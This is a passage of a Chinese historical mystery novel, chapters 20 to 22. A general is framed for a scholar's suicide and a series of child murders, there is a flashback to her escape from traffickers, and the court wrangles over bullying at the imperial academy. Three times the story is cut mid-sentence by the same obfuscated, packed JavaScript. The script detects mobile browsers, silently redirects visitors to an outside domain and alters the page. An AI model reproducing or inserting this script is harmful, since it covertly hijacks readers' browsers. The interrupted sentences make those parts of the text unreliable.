“你最后一句话倒是点醒了我，我们现在是根据凶手留下的线索，按图索骥，引导查案的方向。”应如是突然间来了灵感，思路瞬间打开，“或许我们可以换个角度，以死者作为突破口……” “据左少卿所言，死者死法非常一致，皆是颈部一道致命伤。”应如是说到此处突然停住，看了一眼明心问道，“有笔吗？” 接过明心递来的一支毛笔，应如是说了一句“借你脖子一用”后，转身就在刘舞起脖颈处画下一笔。 刘舞起仿佛早已习惯，任由她为所欲为，明心还是短暂地惊讶了一下。 “死者全身无其它伤痕，血流得一滴都不剩。”应如是还未开口，却见刘舞起已经作为一个合格的“死人”平躺在地了。 “你能看出什么？”应如是看向明心问道。 “凶手手法利落，是个惯用利刃的人。”明心回答。 “这是最明显的一点。”应如是又问道，“若是换个姿势再看呢？” 她在刘舞起耳边说了一句，刘舞起忽然一个鲤鱼打挺，旱地拔葱，双脚勾住横梁，倒悬于空中。 “轻功不错。”应如是思索之余还不忘夸她一句。 明心半晌不说话，累得刘舞起面色充血、眼珠暴突。 “你们看完了吗？”刘舞起喘着粗气问。 “现在的样子更加贴切了。”应如是笑道。 终于，明心像是看出了什么，神情有些怪异。 “舞起，你下来吧。”应如是唤道。 “结合车辙考虑，范围大致可以确定了。”明心神色略显尴尬。 “京中能用到推车的，除了酒楼之外，就是一些肉铺了。”应如是接上他的话。 刘舞起的视线在二人之间来回逡巡，最后只能抱怨道：“你们能不能说一些我能听懂的话？” “那我先去安排了。” 明心说完便起身离开，而应如是欣然接受的样子让刘舞起愈加郁闷：虽然不想承认，但是他们之间确实变得不一样了。 “你有事瞒我。”刘舞起闷闷不乐地说道。 应如是知她内心所想，只是现如今她也不知道该如何解释与明心之间的“纠葛”，只能转移话题道：“忙了一夜水米未进，现下已是饥肠辘辘，和我一起用午膳吧。” 刘舞起依旧不开心：“那你说说刚刚你们在打什么哑谜。” “我明说的话，你可不许生气。” “你且说说看。” “你刚刚倒吊的样子特别像某种死去的动物。” “……” “也是你最喜欢的一道菜。” 20. 第二十章 变故发生在一瞬间，快得让人来不及反应，等到应如是意识到的时候已经身处大理寺狱。 在这阴湿暗沉的牢狱中，唯有火盆中燃烧的熊熊烈火是唯一光源，将人影投射到森冷的墙壁上，每个人都形如鬼魅，张牙舞爪。 被缚在刑椅上，应如是看着前方坐了一排的熟人，忽然间有些想笑。 “应如是你丧尽天良，残害孩童，杀人灭口，泯灭人性，还不从实招来，也好免受些皮肉之苦。”大理寺卿薛茗一脸严肃。 “本将军什么也没做过，欲加之罪何患无辞？”应如是毫不客气地回敬了一句。 “你杀董维之时，国子监有那么多双眼睛看着呢，难道还想抵赖不成？”薛茗又道。 应如是嘲讽地看向在座的所有人：“这么明显的诬陷，你们大理寺的人都看不出来吗？” 想来也是可笑，本以为赶在危机来临之前将这祸患拔除，没想到背后之人竟还留了一手，终究还是应了那句话：道高一尺、魔高一丈，百密终有一疏。 今早清晨，她忽然收到一封信。信是董维写的，说是有事相商，请她到国子监诚性堂一叙。 想起那天夜里，他声泪俱下，自称在国子监内长期饱受欺凌，童谣一事也是受人胁迫才不得已为之，但关于欺凌者的身份，他一个字也不肯说，像是极为害怕。 万般无奈之下，沈清识只能先让他写下认罪书，暂时保留其监生身份，留在国子监中听候发落。本想着以他为饵，找到主谋后再上报天子，没想到却横生枝节，出了纰漏。 当时，应如是虽然对他为何舍近求远、不去找沈清识而心存疑虑，但想着或许有些话需要与受害人单独说，所以她还是去赴约了。 到达之时还没到授课时间，诚性堂内只有董维一人。他坐在桌案前，整个人看上去有些颓丧。 应如是在他旁边找了个位置坐下，开门见山地问道：“找本将军前来所为何事？” 董维似是非常不安，一直攥着袖口，良久才艰难开口：“学生想坦白一件事。” 应如是挑眉：“愿闻其详。” “将军有所不知，国子监虽然广收天下英才而教育之，学子们进了学堂皆是天子门生、儒家弟子，但实则内部等级非常森严，歧视欺凌屡见不鲜，荫生们因为出生世家或是祖上有功名便觉得高人一等，看不起我们这些家境贫寒、从偏远苦寒之地层层选拔上来的寒门弟子。几乎所有没有家世背景的监生都被欺负过，学生便是其中被欺负得最惨的那一个。” 应如是有些诧异地看着他：他说这话时非常平静，仿佛在说一个与自己不相关的事。到底经历了怎样不公的对待，才会让他变得如此麻木不仁？ “将军你是无法想象的，那些满口仁义礼信的君子背地里做出的事却是禽兽不如。”董维继续道，“他们会扒光你的衣服，让你换上戏子服装扮成女人，供他们取乐；让你像狗一样伏在地上，向他们摇尾乞怜。读书人的尊严被他们践踏在脚下，凌辱在身上。你只能乖乖顺从，不然他们背后的势力有的是法子让你在国子监待不下去。” 他说完便开始解衣带，应如是一脸惊吓：“你这是做什么？” 董维答道：“学生并无其他意思，只是想证实自己所言非虚。” 他脱下里衣，露出瘦弱的上半身，只见上面布满了各种伤痕：鞭伤、刀痕、烧伤…… 伤痕深浅不一，有些能看出是旧伤，也有最近新添的。 应如是眼神一暗，带着怒气问道：“是谁干的？” 董维摇了摇头，绝望地看着她：“他们的势力太过强大，我所知道的可能都只是冰山一角。” 应如是叹了口气，正想着：若是你不明说，那今日唤我过来便毫无意义。 谁知，董维忽然从身后拿出一把匕首，毫不犹豫地往心口扎进去又拔出来，由于二人距离极近，腥热的血喷溅了她一脸。 应如是难以置信地看着他，眼前的一切发生得太过突然，让她的大脑有一瞬间的空白。 董维的身体缓缓向后倒去，在合上双目之前，他眼中含泪，忏悔道：“对不起，我别无他法。” “死人啦，杀人啦。”不知何人喊了一声，让原本寂静的诚性堂瞬间炸开了锅。 越来越多的学生涌了进来，将应如是里三层外三层地围住，但是没人敢上前。 杂乱的声音终于拉回了应如是的些许神智，她看着倒在地上已经咽气的董维和自己手中染血的匕首，一时间竟有些不知所措。 “怎么回事？”沈清识闻讯赶来，见满地狼藉顿时傻了眼。 “我没有杀人。”应如是后知后觉地说道，仿佛还身处梦中。 “人就是你杀的，我们都能作证。”人群中有人站出来指证道。 “给我闭嘴！”沈清识呵斥了一句，而后走上前去，按住应如是的肩膀温言道，“到底发生了什么事？” “他是自杀的。”应如是剧烈颤动的眸中映出了一张焦急而担忧的脸。 “大理寺的人来了。” 这么一会儿功夫，谢庭舒就领着一队人马来到这里。 “应将军，得罪了。请随下官回大理寺接受调查。”谢庭舒拱手道。 应如是这下终于彻底缓过神来，转头对沈清识低语了几句后便随着大理寺的人离开。 沈清识目送着他们离开，想起最后应如是说的话，神情蓦然凝重起来。 薛茗见应如是抵死不认，又言道：“先前凶手已被抓捕归案，若是他招供受你指使，你便再无可抵赖。” “照大人的意思，这人犯还未招供，薛大人就认定了本将军是主谋。如此行事，恐怕有失公允吧？”应如是挑衅地看了他一眼，“难道一直以来大理寺都是按照薛大人的想法定罪论罚的吗？” 薛茗倒是不恼，只是面无表情地说：“本官倒要看看你能嘴硬到什么时候。” 连续六个时辰的拷问也没能让应如是多说一个字，最后她只能暂时被收押在大理寺狱中择日再审。 狱中的腐烂发霉的味道让她有些不适，躺在阴湿的地面上，身上的鞭伤隐隐作痛。 虽说大理寺经过上一任大理寺卿改革后减少了严刑逼供的发生，但依旧无法避免审讯时一些适当且合理的刑罚。这些小伤对现在的她来说算不得什么，但若是在十年前，或许能要了她的命。 一时间，有太多事情涌上心头，应如是的思绪在前尘和当下之间徘徊，竟然迷迷糊糊地睡着了。 那一年冬天很冷，昨夜下了半宿的雪，今早路上全是碎冰渣子，车轮打滑，马车不好赶路。 “偏偏赶上这破天气，一点办法都没有。”一个长相凶恶的独眼男人咬着硬成石头的馒头谩骂。 马车里孩子们冷得蜷缩在角落里，脸上皆是惊恐，生怕一个不注意就被盯上了。 “林爷，您别生气，等这车货卖掉，我们就有钱了。”旁边一个贼眉鼠目的马夫谄媚笑道。 林爷往里面看了一眼，一脸嫌弃：“这批货不行，又小又瘦的，长相也没几个标致的，估计值不了几个钱……” 他兀自骂个不停，没人敢在他面前吱声，车上一个小女孩忽然露出一丝笑容。 马车一路行驶缓慢，直到天色昏暗后才停下，一行人到了一个前不着村后不着店的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15203830|164915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地方。 “怎么停了？”林爷一脸的不耐烦。 “不能再走了，马已经累了。”马夫说道。 林爷掀帘向外看去：路旁的野草长得有半个人高，目光所及之处荒无人烟。 “狗东西，你是想让你爷爷在这里过夜吗？”心中的火气再次冲上来，他忍不住挥动手里的鞭子抽了马夫一下。 马夫挨了一下后忙说道：“别急，小的知道前面不远处有一座庙。” 如他所言，确实有座小庙，只不过年久失修，四处漏风，在这寒冬腊月的夜里，显然不是一个合适的落脚之地。马夫又被连抽了好几鞭，直到林爷累了才罢休。 夜晚，篝火燃起，孩子们每人被分了半个炊饼，围坐一圈取暖，林爷吃饱喝足后用绳子将人拴好便睡去了。 半夜时分，所有人都进入梦乡，小女孩忽然睁眼，从袖中拿出一块碎瓷片，开始割腕上的绳索。 她的动静并不大，绳子的摩擦声在穿堂的风声中微不可闻。然而即便如此，她还是被人发现了，是她身旁的一个女乞丐。 记得这个女乞丐比她早上车，是一群孩子中唯一不哭不闹的，明明年纪比她小，但却有种超乎常人的淡定从容。 “别怕，我来帮你。”女乞丐缓缓挪动身体向她靠近，手中也攥着一块碎瓷片。 “你怎么会有？”小女孩惊讶地问道。 女乞丐轻言细语道：“前天在客栈，我看到你故意摔碎了碗。” 小女孩自以为做得天衣无缝，无人能够察觉到她的目的，就连人牙子都被骗了过去，没想到竟然被她看见了。 “你帮我，我帮你，我们一起逃出去。”小女孩当下便有了主意。 女乞丐点头，二人合力将绳索割断，正要一起出逃，斜刺里横生出的一只手抓住了女乞丐的脚腕。 “姐姐，救救我。”黑暗中一个声若蚊蝇的声音哀求道。 “别管他，我们走。”小女孩冷冷地回绝道，然而女乞丐却犹豫了。 “带上他，我们可能都走不了。”小女孩试图说服她。 女乞丐却像是打定了主意：“你先走，我们随后跟上。” 小女孩心中有片刻动摇，但还是逃生的意识占了上风，她遂弃下二人一路狂奔，也不管身后有没有人，心中只有一个念头：跑得越远越好。 直到天光大亮，她才停下脚步累倒在地，环顾四周空无一人，忽然间大笑了起来。 然而笑着笑着又开始担心那二人的境遇，也不知道他们有没有逃出生天，终是放心不下，她又折返了回去。 马车已经驶离了破庙，她心下稍安，进入庙中。昨晚的篝火已经熄灭，只余下一堆灰烬，冒着些许烟气。 庙中空无一人，显然已经人走茶凉，原打算离开，却听到破庙后面似乎有一些声音。 小女孩悄悄地走过去，小心张望着，只见一个男孩伏在地上抽泣。她认出了是昨夜求自己的那个人，心中忽然有种不好的预感。 果然，男孩的身边躺着一个人，是那个女乞丐。她已经没有了气息，身下是一大滩血迹，衣服已经被抽打得不成样子，裸露在外的皮肤没有一处是完好的，看着触目惊心。 “你们被发现了？”小女孩悲从心起。 “是我害了姐姐，要不是因为帮我，姐姐也不会被抓回去。”男孩哭得喘不上气，连话都说不清楚。 人既已死，过程已经不重要了。怪只能怪这凉薄的世道，好人没有好报。 只是无尽的愧疚让小女孩以后的很长一段时间里夜不能寐，她总是控制不住地在想：若是当时留下来，是否结局会不一样？ 21. 第二十一章 应如是于睡梦中猛然惊醒，一时间没有意识到自己身在何处，脸上有些冰凉，带着湿意。听到牢房外有人压低声音呼喊自己，她回头一看，吓了一跳。 只见一个人披着一袭黑色斗篷站在牢外，她浑身上下遮得严严实实的，仅露出两只幽亮的眼睛瞧人。 “舞起？”应如是辨识了好一会儿才认出她来，“大白天的，你要吓死我啊！” “什么大白天？现在已经入夜了。”刘舞起悄声道，“你近前来，我有消息告诉你。” 没想到一觉竟然睡了这么久，应如是有些恍然。 “是沈清识让你来的吗？”应如是问道。 刘舞起点头：“你让他调查的事情已经有线索了，是一个叫章廷之的荫生。” “他是何来历？” “他是安远伯章士楠之子。” “安远伯？”应如是听着很陌生，暂时没有头绪，“你让他先不要打草惊蛇，看看他与哪些人来往。” “沈大人也是这般说的，他说想一网打尽。”刘舞起言道。 应如是正在沉思着，刘舞起却沉不住气了：“比起这个，你最应该担心的是自己，你都不知道现在外面乱成什么样子了！” “何出此言？” “你就不好奇为何大理寺的人会去得那么及时？”刘舞起见她一脸疑惑也不卖关子了，直说道，“这是沈大人探听到的，昨日夜里，礼部尚书江明渊忽然进宫面见陛下，说是找到了造谣之人，还呈上了一纸认罪书。” 应如是立马反应过来：“所以今早大理寺的人赶过去其实是去抓董维的？” “结果董维没抓成，你被当成杀人凶手抓了。” “我出现在国子监不是巧合，这是幕后之人早就设好的局。”应如是分析道，“从董维答应传谣的那一刻，他的死亡便已注定，目的就是拉我下水，让我与童谣案以及孩童被杀案联系在一起。” “好歹毒的计策。”刘舞起骂道。 “恐怕这还不是最终结果，董维的背后是‘清正会’，若是有人交代谣言和‘清正会’有关，那么一举覆灭这个组织也不是难事。”应如是又说道，“这才是一石二鸟。” “那现在应该怎么办？”刘舞起追问道，“沈大人会有事吗？” “只怕局势不容乐观，不论是哪种状况，国子监这次都难辞其咎，且看他如何选择了。”应如是叹道。 想必沈清识也是意识到这点，所以才没有前来：若是再传出国子监司业和疑犯暗通款曲，那事情就更复杂了。 见刘舞起的忧心溢于言表，她只能逗趣道：“沈清识再不济也不过是丢官职，我现在可是要掉脑袋的罪名。” “都到这个时候了，你还有心思说笑！”刘舞起被气笑了。 “不然怎么办呢？”应如是一本正经地说道，“就算是哭着求饶，他们也不肯放过我啊。” “我能帮你做什么吗？”刘舞起收敛了笑意，认真问她。 “没事，你先回去吧。”应如是虽然面上风轻云淡，但心中却又隐忧。 她想要知道的事情太多了，若是没出事，从谢少卿那里或许能知道点消息，但现在恐怕不行了。 入夜后的大理寺狱没有了白日里的凄厉哀嚎，显得有几分静谧。 晚上鲜有问讯，对于犯人来说是可以片刻喘息的安宁时光，所以大部分犯人都会休养生息，不再吵闹，但总有例外。 三名强盗因为抢夺财物、欺凌良家妇女被抓入狱，由于未被提审，从早上开始一直吵嚷着，周围牢房的犯人都不胜其扰。 期间，狱卒也警示过几次，但这群亡命之徒怎会听从小小狱卒的话，所以渐渐也无人理会了。 何大勇和他们是同一天入狱的，恰好又和他们关在同一间牢房中。与他们不同，他自从被关进来后就一个人蜷缩着角落中，也不出声。 半夜正是酣睡之时，处于半梦半醒间的何大勇忽然睁开眼，身体的本能促使他清醒，因为一股强烈的杀意向他袭来。 他贴墙而卧，看着映在墙壁上的三个人影逐渐拉长，于是僵着不动，静静等待着。 果不其然，三个人开始行动了，他们的目标很明确：一个人缚住脚，一个人按住手，另一个人用衣物捂住他的口鼻。 何大勇早有防备，一个旋身避开了他们所有的攻击。三人没料到他会清醒，转而开始围攻。 一时间牢房内混乱不堪，四人陷入恶斗之中，闹出了不小的动静，就连守夜的狱卒也听到了，但经历过白天的事情后谁都没有去管，大家都习以为常了。 第二天，大理寺狱内发现一人身亡。 诚如应如是所言，沈清识陷入两难之境，问题的关键在于是否保住“清正会”—— 若是弃之不顾，国子监顶多是失察之责，只是“清正会”里的所有监生都会被问责下狱，恐怕这辈子都仕途无望了；若要保下他们，必定要揭露国子监的欺凌丑闻，不仅治学不严、管教无方的罪责无法逃脱，还会得罪一众勋贵世家，国子监的太平日子算是到头了。 经过一夜的深思熟虑以及与祭酒张衍之商议后，二人进宫面圣，正巧遇上江明渊向皇帝陈述童谣案的后续情况。 “两位爱卿来得正好，事关国子监，一起听吧。”景和帝说道。 “近日，国子监有一荫生向微臣透露实情，说国子监内有一个名叫‘清正会’的秘密组织，有数十个监生参与其中，这次造谣的主谋董维也是其中一员。” 景和帝看向二人问道：“可有此事？” 张衍之难得面圣，有些站立不稳，年过古稀的他早已到了致仕之年，但景和帝却执意让他留在京中执掌国子监。对他来说，这既是师徒的情义，同时也是一个枷锁。 沈清识一边扶着他，一边回禀道：“确有此事。” 景和帝终于意识到老师的年迈无力，立即唤人给他看了座。 “沈爱卿，那你给朕说说这‘清正会’是怎么一回事。”景和帝语气中隐隐有些不悦。 这也难怪，作为天子门生，日后的栋梁之材，本应一心向学、干净清白，如今私下却广结朋党，做一些见不得人的勾当，确实令人心寒。 沈清识早有准备，先是向内官递了一些手稿，又言道：“陛下容禀，这‘清正会’并非旁门左道，只是平日里学子们研学多有感悟，常聚在一起吟诗作赋、策论问答，这些手稿是微臣收集的这些时日的交流成果，请陛下一观。” 景和帝随手翻看了几张，便没耐心继续看下去：“沈爱卿是想说‘清正会’和童谣案毫无瓜葛吗？” “陛下明鉴，童谣一事乃监生董维个人行为，与‘清正会’无关。”沈清识答道。 “沈大人话说得倒是轻巧，童谣一案牵涉甚广，岂是几张纸就能撇清关系的？”江明渊不以为然，讥讽道。 “江大人莫急，下官正要细说此事。”沈清识看向张衍之，得到他的眼神肯定后撩袍跪伏在地，“微臣有罪，请陛下责罚。” “沈爱卿何出此言？” 沈清识摘下官帽，一脸凛然：“微臣以官职作保，接下来所言皆句句属实。陛下有所不知，国子监内歪风邪气由来已久，荫生行事荒诞，处处欺压穷苦监生，监生生活苦不堪言。” 景和帝脸色一变：“此话当真？” 沈清识又向上递了一张纸言道：“这是百名监生签下的联名状，请陛下明鉴。” 景和帝捏着状纸许久不语，御书房内一时间空气都凝滞了，所有人都屏着一口气，等待雷霆将至。 “真是好大的胆子！”景和帝猛然起身，御案一拍，登时所有人都跪倒在地，不敢抬头。 天子之怒，如燎原的火势，势必要烧尽一切。 沈清识顶着天威，继续递上物证说道：“监生董维虽造谣有罪，但并非出自本心，乃是受人胁迫，这是他亲笔写下的认罪书，请陛下明察。” “沈大人说话好没道理，这认罪书中并未提及荫生，也没有说受到欺压，就算国子监存在不正风气，又与他造谣有何干系？又怎能排除‘清正会’的嫌疑？” “江大人！”沈清识几乎是咬牙切齿地驳斥道，“天下寒门子弟众多，哪个不是挤破了头进的国子监？为了求取功名，有些人耗费几十年时间寒窗苦读，为的就是有朝一日能够出人头地。董维与镇南将军无冤无仇，为何要以牺牲自身的前途为代价去做此等低劣之事？再者，‘清正会’虽是监生私下所设，但并无不法之处，江大人如此相逼是为何故？” 江明渊刚要开口，一直沉默的张衍之忽然起身说道：“陛下，老臣执掌国子监十余年，一直兢兢业业、恪守本分，没想到如今却出了这等丑事，实在愧对圣上。老臣自请辞去国子监祭酒一职，但求陛下严惩涉事之人，还监生一个公道。” 沈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15229884|164915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清识抬头看向张衍之，但见一张皱纹丛生的脸上尽是沧桑疲惫，唯有一双未曾干涸的眼睛依旧充满希冀，凝望着这个自小便听从自己教诲的君王。 然而，景和帝紧抿的嘴唇如同一道见血封喉的线，虽是锋利，但不致命。他的沉默让张衍之的神色逐渐黯淡，直到彻底失去神采。 沈清识明白他此刻的感受，这是一种面对大厦将倾却无力支撑的绝望，但陛下的心思他又怎会猜不到—— 若是严惩不贷，定会引起世家贵族的不满和怨愤。这些家族由来已久，势力盘根错杂，如果有心联合，必会使朝堂动荡、时局不稳。 若是存心包庇，则会让天下寒门子弟寒了心，日后这天子堂或许就会变成权贵的一言堂。 “老师，你不要逼朕。”景和帝的脸微微抽动着，显然在极力隐忍着。 “老臣不敢，还望陛下以公道为先，莫要让监生寒心。”张衍之回道。 景和帝忽然间像是丧失了所有气力，摆手道：“你们都退下吧。” 这场君臣、师生二人之间的拉锯战终是不声不响地落下帷幕，沈清识搀扶着张衍之出了御书房，见江明渊站在门口，似在等候他们。 “江大人，这步棋下得真妙。”沈清识嘴角扯着笑，眼神却冰冷地看着他。 “还是棋差一招，不及你们铤而走险、背水一战。”江明渊皮笑肉不笑地回敬道。 二人目光相接，已经有了硝烟之味。 “与乱臣贼子多说无益，梅骨，我们走。”张衍之完全不将他放在眼里，径直向前走去。 江明渊倒也不恼，只是拱手道：“张大人，您可要多保重身体，日后怕是不能再见您的尊容了。” 沈清识欲要冲上去，但被张衍之拦下了：“走吧。” “老匹夫。”江明渊看着二人离去，眼中凶戾之色再也隐藏不住。 几日后，一道圣旨传下，将所有涉事荫生驱逐国子监，对所有受害监生加以抚恤。景和帝终究还是妥协了，但代价是张衍之被罢黜，永远不得回京。 张衍之离开之时，恰是阴雨蒙蒙的天，整个光昭府都陷入一片晦暗之中。 从官十余载，张衍之离去之时只有一个小推车，这满载着一车的书就是他的全部家当，为官清廉，莫过于此。他早年丧偶，养子从军在外数年，京中并无其他亲眷，所以为他送行的只有沈清识一人。 “先生此去有何打算？”沈清识问道。 “江海浮舟，放寄此生。”张衍之笑容中带着一丝惆怅。 沈清识不语，心中满是愧疚，本来此事只是他的一意孤行，没想到却连累旁人丢了官职。 张衍之看穿了他的心事说道：“梅骨，老夫本就是行将就木之人。在朝这么多年，经历过许多风风雨雨，早已厌倦了官场的尔虞我诈，就算没有这事，老夫也是要乞骸骨的，但你不同，你尚且年少，朝中积弊已久，非一朝一夕可以改变，以后还得靠你们这些后生。” 沈清识语气中含着一丝哽咽：“先生放心，余自当竭尽全力，相信终有云开雾散的一天。” 张衍之拍了一下他的肩膀，神情似乎轻松了许多。 他撑着一把油纸伞，口中哼唱着一首不知名的小调，眼前恍然浮现出一幕情景—— 多年前的某一天，他牵着一个男孩的手，踏上国子监的台阶，彼时他风华正茂，听着男孩口中念着“做伪者奸，逆功者忠，惑上者险，纵下者愚”后，心血来潮发问：“若是有一天，殿下囿于权力地位，纵使辨得忠奸，却难以取舍，该当如何？” 问完后他自嘲一笑：这么小的孩子，他哪里懂得这些？本以为男孩不会回答，刚想一笑了之，却见他以少有的严肃口吻回道：“如若真有那么一天，那便是上位者失道，则君不君、臣不臣，国之危矣。” 他但笑不语，未置可否，男孩却追问道：“太傅觉得应当如何？” “为臣子者，应该身当士卒，为殿下扫清障碍，断不会让这样的情况发生。” 男孩听完后一脸郁闷：“太傅，你是在戏耍本殿下吗？” “殿下觉得呢？” 笑声远去，当年的人影消散在朦朦烟雨中，再也找寻不见。 张衍之朝着宫门方向三叩拜，不禁老泪纵横：“陛下，此去一别，山高水长，望君珍重。” 沈清识默立在雨中，看着他渐行渐远，心中一阵酸涩。 22. 第二十二章 狱中不知岁月长，应如是浑浑噩噩不知道过了多久，又被带去审讯。 薛茗的态度与上次明显不同，这次几乎是逼着她认罪画押。 “出什么事了？”应如是察觉到异样。 “是本官在审你，你没有资格反问本官！” 薛茗忽然的情绪波动让左右两个少卿不约而同望向他。在他们心中，这个被称作“冷面判官”的大理寺卿很少有急眼的时候。 只有他自己知道，他的怒气不是源于她这般气定神闲的态度，而是每次见到她都会让他不由地想起某个人，渐而心中烦闷。 应如是笑了笑：“我只是想知道内情，若是不愿告知，那便只能做个冤死鬼，到了泉下和阎王说去了。” 薛茗极力克制住情绪，问道：“你想要知道什么？” “所有的一切。”应如是一个眼神瞬间严肃起来。 薛茗看向谢庭舒：“你来说吧。” 凶手是在应如是入狱前不久被抓住的，为了抓他大理寺也是费了不少功夫。 仵作先是通过比对上百种刀具，终于确定尸体脖颈处窄而深的伤痕是由一把长约五寸单边开刃的剔骨刀造成的，考虑到凶手下刀的位置和力度极为精准，再加上伤口附近验出了牲畜的油脂，由此推断出凶手是屠夫的可能性很大。 然而，大理寺将光昭府所有的屠户都搜查了一遍，并未发现可疑人员。正是山穷水尽之时，忽有一人前来报案，说是从隔壁人家总飘来一股血腥味。 于是，谢庭舒带人过去查探，从外面看只是一户普通人家。奇怪的是，庭院中搭了一个巨大的凉棚，棚顶选用的是黑色罩布，将整个庭院遮得严严实实，透不进一丝光线。 她敲了许久的门都无人应，无奈之下只能撬门进入。里面静悄悄的，感觉不到一丝活人的气息，进入庭院之后，眼前陡然一暗，明明是大白天，却莫名感觉到很重的阴气。 “这是什么鬼地方？”有人抱着胳膊打颤。 谢庭舒也没见过这场面，但还是镇定地安排手下将屋子里外都搜了一遍，并未有所发现。 这里似乎很久没人居住了，屋里的桌椅上都落了一层薄灰，水缸也是空的。 谢庭舒刚想问这血腥味从何而来，随行的报案人却说道：“他家屋后还有一个地窖。” 众人来到地窖，刚一打开地窖的盖子，一股腐烂腥臭的气味扑面而来，让人作呕。 谢庭舒皱着眉，这味道她太熟悉了，当下便绷紧了一根弦。这地窖挖得很深，越往下味道越重，最后只能捂住口鼻前行。 黑暗中似乎有一个人影一闪而过，谢庭舒喊了一句：“点火把！” 火光一瞬间将整个地窖照亮，将一切阴暗肮脏都暴露在人们眼前，让所有人都瞠目结舌。 很多年后，谢庭舒回想起这个场景依旧还会感觉胆寒心颤。 地窖中堆满了大小十余个木桶，里面都盛满了红色的液体，从气味推断，八成是血。 一个浴桶放在中央，里面混杂着药材和其他不知名的液体，黑稠得如同一滩烂泥。 一个光着身子的人缩在浴桶后面，透过凌乱如杂草一般的头发警惕地看着众人，谢庭舒发现他左边眼睛黯淡无光，似是瞎了。 众人不断向他逼近，他便如同野兽一般，露出两排褐色尖利的獠牙威吓。 “这是个什么东西？”有人拿着棍棒，心里却发怵。 谢庭舒暗中指挥着，几个人呈合围之势将他逼至角落，谁料他反应极快，身手也敏捷，左突右冲竟然撕开了包围圈，但又像是无法出地窖，只能像个无头苍蝇在里头乱窜。 谢庭舒等人只好与他慢慢周旋，没多久他便没了力气束手就擒。他被押出地窖之前，谢庭舒还很贴心地给他找了件外袍披上。 谁知刚出门不久便出了事，正是艳阳高照的午时，一行人没走多久，那人忽然惨叫起来，倒在地上抽搐不止，与此同时脸上开始浮现红色瘢痕，一个个米粒大小的疹子也随之出现。 就在众人惊慌失措、不知该如何应对之时，那人口齿不清地说道：“不能见光。” 谢庭舒急忙取下披风捂住他的头面，同时找人借了一把伞为他遮阳，这才让他好受些。 “这是得了什么怪病吗？”应如是听到这里，插嘴问了一句。 谢庭舒回道：“后来，我请了京中好几位有名的大夫为他诊治，但没人能说出他身患的是什么病症。他自称这是一种从祖上传下来的诅咒，药石无医。” “此人便是孩童案的真凶吗？” “在地窖中找到了杀人的剔骨刀，和伤口比对一致，再加上地窖里发现的成桶的人血，以及他此前原是一名屠夫，基本可以断定他就是凶手。”谢庭舒想了想，又补充了一句，“他对自己犯下的罪行也是供认不讳。” “他为何杀人？” “不知听何人所说，以孩童之血沐浴可以缓解病痛。” “又因何截舌？” “害怕孩童冤魂去到地府告冥状。” “如此违背伦常的荒诞之事，正常人岂会相信？”应如是神色讶然。 谢庭舒想起审问他之时，看着他双目无神，宛若一具行尸，浑身遍布着令人不寒而栗的红疹和瘢痕，当时心里就在想：或许他早已经疯了。 “他既已招供，此事与我何干？”应如是不解地问道，“难道他杀人是我指使的？” “确实如此。”沉默许久的薛茗忽然说道。 “有何证据？” 薛茗拿出一块染血的布递到她眼前，振振有词道：“有血书为证，你仔细看看。” 血书上是几行歪歪扭扭的字迹，虽然被血晕染得一片模糊，但依稀能分辨出其中的内容。 上面虽然没有提及具体名姓，但是“受人蛊惑，误入歧途，悔之不及”这几个字足以说明他背后另有主谋。 “我们根据血书的线索，在他家中找到了这个东西，你可认得？”薛茗拿出一块玉佩，白色的长穗在眼前晃晃悠悠的，看着好不令人心烦。 应如是定睛看了一眼并未作何表示，她在意的另有其事：“他已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15245912|164915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 死了吗？” “今晨被发现暴毙狱中。”谢庭舒说道。 “可与他的字迹比对过了？”应如是问道。 “他一介屠夫，平日里哪会写字？” “那便是死无对证，这可真是栽赃嫁祸的好法子，百试不爽。”应如是的语气满是嘲讽，“若我拿不出证据自证清白，纵有千般冤屈，也是百口莫辩。” 谢庭舒没有回答，像是默认了一般。 “不仅如此，我们调查过他的背景，凶手与你并非毫无干系。”谢庭舒看了一眼薛茗，得到他的默许后说道，“何大勇，京城人士，景和二十年之前曾任军中斥候，后来因营州之战伤及左目而成为退卒，自此回到京中做了屠夫。” 应如是愣住了：敢情还是我的兵？ 不管幕后之人是如何哄骗他杀人放血的，但是他的身份再加上截舌，足以将祸水顺理成章地引到我这里，倒也算得上是一个周密的计划。 “人是怎么死的？”应如是又问道。 “撞墙而亡，被发现时已经面目全非了。”谢庭舒有些唏嘘。 “他真是自尽的吗？” 应如是还想继续问下去，却被薛茗无情打断：“好了，事情你也知道的差不多了，该有所交代了。” 